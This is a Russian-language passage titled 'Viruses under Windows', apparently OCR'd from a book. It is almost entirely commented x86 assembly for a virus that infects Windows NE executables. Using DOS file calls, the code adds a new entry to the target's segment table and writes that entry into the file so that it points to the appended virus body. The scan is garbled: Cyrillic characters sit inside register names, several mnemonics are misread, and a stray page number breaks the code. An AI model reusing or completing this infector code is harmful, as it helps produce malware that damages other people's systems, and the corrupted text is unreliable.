Доклад: Вирусы под Windows
pop ex
mov ah,40h
int 21h
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
.Получим длину файла, переместив указатель
^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex
-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex
Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h
.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение